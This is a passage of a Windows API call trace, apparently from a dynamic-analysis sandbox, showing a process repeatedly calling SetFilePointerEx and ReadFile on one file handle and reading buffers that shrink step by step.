lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x486, lpOverlapped=0x0) returned 1 [0069.054] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.054] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.054] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x47e, lpOverlapped=0x0) returned 1 [0069.054] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.055] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.055] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x476, lpOverlapped=0x0) returned 1 [0069.055] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.055] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.055] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x46e, lpOverlapped=0x0) returned 1 [0069.055] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.055] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.055] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x466, lpOverlapped=0x0) returned 1 [0069.055] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x2f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.055] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.055] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x45e, lpOverlapped=0x0) returned 1 [0069.055] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x300, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.055] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.055] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x456, lpOverlapped=0x0) returned 1 [0069.055] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x308, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.056] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x44e, lpOverlapped=0x0) returned 1 [0069.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x310, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.056] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x446, lpOverlapped=0x0) returned 1 [0069.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x318, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.056] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x43e, lpOverlapped=0x0) returned 1 [0069.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x320, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.056] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x436, lpOverlapped=0x0) returned 1 [0069.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.056] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x42e, lpOverlapped=0x0) returned 1 [0069.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x330, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.056] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.057] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x426, lpOverlapped=0x0) returned 1 [0069.057] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x338, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.057] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.057] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x41e, lpOverlapped=0x0) returned 1 [0069.057] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x340, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.057] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.057] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x416, lpOverlapped=0x0) returned 1 [0069.057] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x348, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.057] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.057] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x40e, lpOverlapped=0x0) returned 1 [0069.057] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x350, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.057] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.057] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x406, lpOverlapped=0x0) returned 1 [0069.057] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x358, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.057] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.058] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3fe, lpOverlapped=0x0) returned 1 [0069.058] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x360, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.058] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.058] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3f6, lpOverlapped=0x0) returned 1 [0069.058] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x368, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.058] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.058] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3ee, lpOverlapped=0x0) returned 1 [0069.058] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x370, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.058] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.058] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3e6, lpOverlapped=0x0) returned 1 [0069.058] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x378, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.058] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.058] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3de, lpOverlapped=0x0) returned 1 [0069.058] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.058] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.058] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3d6, lpOverlapped=0x0) returned 1 [0069.059] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x388, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.059] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.059] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3ce, lpOverlapped=0x0) returned 1 [0069.059] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x390, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.059] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.059] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3c6, lpOverlapped=0x0) returned 1 [0069.059] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x398, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.059] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.059] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3be, lpOverlapped=0x0) returned 1 [0069.059] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.059] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.059] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3b6, lpOverlapped=0x0) returned 1 [0069.059] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.059] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.059] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3ae, lpOverlapped=0x0) returned 1 [0069.060] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.060] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.060] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3a6, lpOverlapped=0x0) returned 1 [0069.060] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.060] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.060] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x39e, lpOverlapped=0x0) returned 1 [0069.060] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.060] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.060] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x396, lpOverlapped=0x0) returned 1 [0069.060] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x3c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.060] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x38e, lpOverlapped=0x0) returned 1 [0069.060] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x386, lpOverlapped=0x0) returned 1 [0069.060] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x37e, lpOverlapped=0x0) returned 1 [0069.060] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x376, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x36e, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x366, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x35e, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x356, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x34e, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x346, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x33e, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x336, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x32e, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x326, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x31e, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x316, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x30e, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x306, lpOverlapped=0x0) returned 1 [0069.061] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2fe, lpOverlapped=0x0) returned 1 [0069.062] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2f6, lpOverlapped=0x0) returned 1 [0069.062] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2ee, lpOverlapped=0x0) returned 1 [0069.062] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2e6, lpOverlapped=0x0) returned 1 [0069.062] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2de, lpOverlapped=0x0) returned 1 [0069.062] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2d6, lpOverlapped=0x0) returned 1 [0069.062] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2ce, lpOverlapped=0x0) returned 1 [0069.062] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2c6, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2be, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2b6, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2ae, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x2a6, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x29e, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x296, lpOverlapped=0x0) returned 1 [0069.063] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, 